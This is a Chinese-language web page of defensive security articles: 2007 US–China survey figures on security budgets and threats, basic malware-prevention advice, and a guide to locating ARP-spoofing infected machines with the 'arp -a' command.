  在过去一年里,CISO的数量大大地增长了。大约四分之三的受访者表示他们的公司有CISO,对比2006年只有39%。CISO都是直接向CEO或CIO汇报工作。

  就投资决策而言,半数的美国公司表示由CEO决定安全开支。在美国,高达37%的受访者表示公司的风险和威胁评估没有CISO的意见参与,而令人震惊的是有22%的公司说他们根本不会定期进行安全风险和威胁评估。

  在美国,IT预算里用于安全的比例仍然很低;今年公司平均计划在安全上使用12%的IT预算,对比去年为13%。

  而中国,则是另一种情况,他们在安全开销上相对大方得多:今年用于安全的IT预算占19%,对比2006为16%。有意思的是,39%的美国公司和55%的中国公司都期望2007年的安全开销水平超过去年。

  情况听起来不妙,但也不用太紧张。随着信息安全变得越来越复杂——攻击者不断改变攻击手段和目标,而公司运用到业务中的安全产品也越来越多。所 谓魔高一尺,道高一丈。好的一面是大多数安全漏洞的处理方式已逐渐为人们熟知。安全的态度已经成为优秀员工或经理人的一种职业素养。

  IT系统的新威胁

  为什么您所在公司的IT系统比一年前更易受到安全攻击?

  安全威胁的手段更高明,比如SQL注入漏洞攻击公司网络的途径更多,包括无线攻击

  攻击的数量增加

  更多恶意企图(比如身份盗窃、数据破坏、敲诈勒索等)

  数据来源:《InformationWeek》与埃森哲咨询公司合作进行的2007年“全球信息安全调查”。全球3,092位商业科技和安全专业人士参与调查。该数据来自认为今年会更易受攻击的720位美国受访者。

  最大威胁

  下面各类安全威胁中,您所在公司最重视的是哪一种?

  美国中国

  65%75%病毒或蠕虫

  56% 61%间谍软件/流氓软件

  40% 40%垃圾邮件

  26% 19%未经授权的雇员对文件或数据的访问

  25% 22%外部人员偷窃客户数据

  20% 16%网络钓鱼(Phishing)和域欺骗(Pharming)

  19% 14%带有公司数据的可移动设备遗失或失窃

  18% 15%知识产权失窃

  13% 16%拒绝服务攻击或其他网络攻击

  10% 13%僵尸网络(Botnets)对IT资源的远程控制

  6% 5%对无线/RFID系统的攻击

  3% 4% VoIP入侵

  数据来源:《InformationWeek》与埃森哲咨询公司合作进行的2007年“全球信息安全调查”。全球3,092位商业科技和安全专业人士参与调查。该数据来自其中1,101位美国受访者和1,991位中国受访者。

  量化投资

  您所在的公司如何衡量在安全投入上的投资回报?

  美国中国

  43% 37%员工处理安全相关的问题的工作时间减少

  35% 29%客户数据得到了更好的保护

  33% 50%安全漏洞减少

  33% 40%网络宕机时间减少

  27% 26%改进了对知识产权的保护

  25% 29%采取更好的风险管理策略

  24% 46%用于处理偶发事件的时间减少

  24% 9%我们不对此进行量化评估

  注:允许多选。

  数据来源:《InformationWeek》与埃森哲咨询公司合作进行的2007年“全球信息安全调查”。全球3,092位商业科技和安全专业人士参与调查。该数据来自其中1,101位美国受访者和1,991位中国受访者。

  中国企业的惊人变革

  尽管中国已深度参与全球化经济,但中国公司才刚迈入信息安全的早期阶段。

  《InformationWeek》的全球信息安全调查暴露了对于中国而言的风险所在。由于中国面临着巨大的攻击威胁,我们的机构也许不会有闲暇用按部就班的方式来发展IT安全技术,常规的“进化过程”更不可能发生。

  中国正在经历的情况与美国15年前的不同。全球化经济的需求使中国必须快速地与高级国际标准接轨。幸运的是,中国的机构为了在国际舞台上证明自己是安全和有控制力的,正加速自己发展安全技术的步伐。

  例如,中国的公司在信息安全上的开支占全部IT预算的19%,而美国只有12%。这是个令人吃惊的数字。

  调查显示的安全问题,无论来自美国还是中国的受访者,都与埃森哲咨询公司客户所反映的问题一致。他们需要评估IT安全风险、获得相关建议、降低安全复杂度、并量化安全投资的价值,这些要素也为安全开支提供了商业案例依据。

  中国在这3个方面的注意力主要表现在基础架构上。这毫不奇怪,万事总要有个切入点。随着中国公司的关注深入到安全自动化领域,他们就可以从美国 公司的过往经验里获得帮助。现在美国公司开始认识到他们需要更灵活的IT系统以处理快速变化的流程和机遇,中国公司也正在逐步赶超。

  我们的调查显示出许多中国公司已在吸取前人的教训。几年前,安全常常是亡羊补牢的事后措施。例如一家银行决定要增加一项客户服务,会在新服务已 经上线后,才考虑怎样加固它。现在的中国公司会说:“我们需要一项新服务,作为现有服务的一部分,安全需要怎样做?”于是,安全在设计初期就被考虑进去。

  目前中国企业的安全还是采取专项解决的方式。逐渐地,庞大的修补工作量会令安全变得难以管理。如果中国机构能恰当地评估风险、制定安全策略的量 化方式而不是局限于继续对漏洞进行修修补补,他们也许就可以大步越过这个进化过程。尤其在面临先进技术如无线应用和服务导向架构时,高效的安全手段显得尤 为重要。

  随着组织机构远离原来那种支离破碎的安全管理模式,他们就可以把安全嵌入到业务流程中,提供更好的整合度,把人工干预变得更自动化,从而提升管理和监控的效能。中国的机构也认识到,要获得高效的安全和达到真正的国际化水平,他们需要更深入与国际安全标准的接轨。

节日归来 学会用三项措施防止恶意软件

节日归来 学会用三项措施防止恶意软件

来源:赛迪网 作者:freedom

不懂防守,怎能进攻?防患于未然也许是保障任何安全手段有效性的基本前提。因为恶意软件的种类多样性和复杂性,对其进行防范应是最有效的方法。实践证明,恶意软件的发现和清除是一件费时而费力的工作,而用于防止恶意软件感染的所有措施可以为管理员和用户节省大量的时间,省去许多麻烦。

恶意软件的清除通常需要对一个恶意软件如何影响一个特定的系统有着特别的理解,而各种预防措施可以有效地阻止恶意软件而不管其有关特征。当然,有些类型的恶意软件能够逃避过某些防御屏障,因此最好是采取尽可能多的防御措施。

及时打补丁

防止恶意软件感染的最显而易见的方法是保持操作系统的及时补丁。多数恶意软件利用系统的缺陷或漏洞来感染操作系统及其应用程序。一个最新的并拥有完整补丁的计算机系统能够极大的减少恶意软件感染的可能性。不过要当心一些目前未知的、尚未发布补丁的缺陷和漏洞被恶意软件利用的可能性。

另一种防范恶意软件感染的方法是运行那些不易受感染的应用程序。事实上,恶意软件多是以最常用的操作系统及其本地应用程序为目标的。因为操作系统与应用程序是紧密相关的,恶意软件通常可以导致更多破坏。例如,使用一个第三方的Web浏览器是减少潜在威胁的极好方法。

采用反恶意软件预防工具

反恶意软件工具是另一个保护选择。几乎所有的反病毒和反间谍软件工具都汇编了恶意软件的特征,详细描述了恶意软件的特征和行为。如果恶意威胁成功地逃脱第一道防线的话,这些软件能够在其攻击系统时阻止已被识别的威胁,或隔离之,或清除之。这些工具的另外一面是其需要不断地更新其特征库—因此极有可能遗漏某个恶意软件的特征描述。想要提升基于特征的工具软件的有效性,运行多种类型的预防工具以覆盖尽可能多的恶意软件特征是一个不错的主意。

最佳的反恶意软件工具使用异态检测技术以及基于特征的防御方法。这些工具能够适应新类型的恶意软件。它们不断地摄取操作系统映象的快照,并与以前的映象相比较以找出其不同之处。这些方法依赖于软件识别新威胁的能力,也可以称之为一种“探索属性”。这仍是一种处于发展中的恶意软件防范技术,其有效性并非是100%的,不过它们确实提供了一种额外的防御措施。

对用户进行教育

依靠自身,基于技术的防御方法很难百分之百地有效。此外,许多威胁仍然依赖于围绕着那些最高级的反恶意软件技术的社会工程策略。对这些恶意软件威胁来说,最好的(有时是唯一的)防御方法是用户教育。让用户懂得不能接收何种信息和操作、不能访问什么站点、不能信任何种人员的知识是防御恶意软件的最好的方法。

用命令行查找ARP病毒母机

如何能够快速检测定位出局域网中的ARP病毒电脑?

  面对着局域网中成百台电脑,一个一个地检测显然不是好办法。其实我们只要利用ARP病毒的基本原理:发送伪造的ARP欺骗广播,中毒电脑自身伪装成网关的特性,就可以快速锁定中毒电脑。可以设想用程序来实现以下功能:在网络正常的时候,牢牢记住正确网关的IP地址和MAC地址,并且实时监控着来自全网的ARP数据包,当发现有某个ARP数据包广播,其IP地址是正确网关的IP地址,但是其MAC地址竟然是其它电脑的MAC地址的时候,这时,无疑是发生了ARP欺骗。对此可疑MAC地址报警,在根据网络正常时候的IP-MAC地址对照表查询该电脑,定位出其IP地址,这样就定位出中毒电脑了。下面详细说一下如何利用命令行方式检测ARP中毒电脑的方法。

  命令行法

  这种方法比较简便,不利用第三方工具,利用系统自带的ARP命令即可完成。当局域网中发生ARP欺骗的时候,ARP病毒电脑会向全网不停地发送ARP欺骗广播,这时局域网中的其它电脑就会动态更新自身的ARP缓存表,将网关的MAC地址记录成ARP病毒电脑的MAC地址,这时候我们只要在其它受影响的电脑中查询一下当前网关的MAC地址,就知道中毒电脑的MAC地址了,查询命令为 ARP -a,需要在cmd命令提示行下输入。输入后的返回信息如下:

  Internet Address Physical Address Type

  192.168.0.1 00-50-56-e6-49-56 dynamic

  这时,由于这个电脑的ARP表是错误的记录,因此,该MAC地址不是真正网关的MAC地址,而是中毒电脑的MAC地址!这时,再根据网络正常时,全网的IP—MAC地址对照表,查找中毒电脑的IP地址就可以了。由此可见,在网络正常的时候,保存一个全网电脑的IP—MAC地址对照表是多么的重要。可以使用nbtscan工具扫描全网段的IP地址和MAC地址,保存下来,以备后用。

推广链接